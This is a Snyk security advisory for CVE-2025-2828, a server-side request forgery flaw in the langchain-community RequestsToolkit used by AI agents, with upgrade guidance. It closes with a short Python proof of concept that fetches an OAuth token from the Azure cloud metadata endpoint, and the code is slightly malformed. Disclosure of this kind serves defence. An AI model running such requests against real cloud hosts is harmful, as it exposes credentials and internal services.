Server-side Request Forgery (SSRF) Affecting langchain-community package, versions [,0.0.28)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-LANGCHAINCOMMUNITY-10496412
- published24 Jun 2025
- disclosed23 Jun 2025
- creditano251
Introduced: 23 Jun 2025
NewCVE-2025-2828 (opens in a new tab)How to fix?
Upgrade langchain-community to version 0.0.28 or higher.
Overview
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the RequestsToolkit module. An attacker can access internal network resources, perform port scans, retrieve sensitive metadata from cloud environments, and interact with local services by crafting malicious requests.
PoC
from langchain_community.utilities.requests import TextRequestsWrapper from
langchain_community.agent_toolkits.openapi.toolkit import RequestsToolkit
imds_endpoint = "http://169.254.169.254/metadata/identity/oauth2/token" api_version = "2018-02-01"
resource = "https://managment.azure.com"
url = f"{imds_endpoint}?api_version={api_version}&resource={resource}" headers = {'Metadata': 'true'}
requests_wrapper = TextRequestsWrapper(headers=headers)
requests_toolkit = RequestsToolkit(requests_wrapper=requests_wrapper)
response = requests_toolkit.requests_wrapper.get(url
print (response)